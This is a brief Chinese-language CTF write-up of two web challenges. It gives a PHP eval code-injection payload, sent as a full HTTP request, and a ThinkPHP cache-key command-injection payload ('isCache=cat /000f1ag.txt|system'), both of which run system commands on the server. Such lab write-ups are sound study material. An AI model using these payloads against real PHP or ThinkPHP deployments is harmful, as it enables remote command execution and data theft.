#下班之前写了两个题,后面继续发
Codeinject
<?php
#Author: h1xa
error_reporting(0);
show_source(__FILE__);
eval("var_dump((Object)$_POST[1]);");
payload 闭合后面的括号来拼接
POST / HTTP/1.1
Host: 1dc86f1a-cccc-4298-955d-e9179f026d54.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
1="whoami");system('cat /000f1ag.txt'
tpdoor
#原来CTF还可以这样做
首先下载官方提供的部分源码
发现isCache是可控的参数 另外这是thinkphp的源码,要想获取flag根据有限的源码是没有看到什么漏洞可以配合参数进行利用的,那么这里的考点就是thinkphp的漏洞了,iscache是可控的,那么看看thinkphp的源码
全集搜索request_cache_key
在这个config参数中有request_cache_key
再看这里也有个request_cache_key
getRequestCache给key赋值了并且return 如同最终key传到了parseCacheKey中
看看这个函数如下 将$key以 | 分隔开 | 后面的所有fun key作为参数值 构造payload:whoami|system
读取flag的payload:isCache=cat%20/000f1ag.txt|system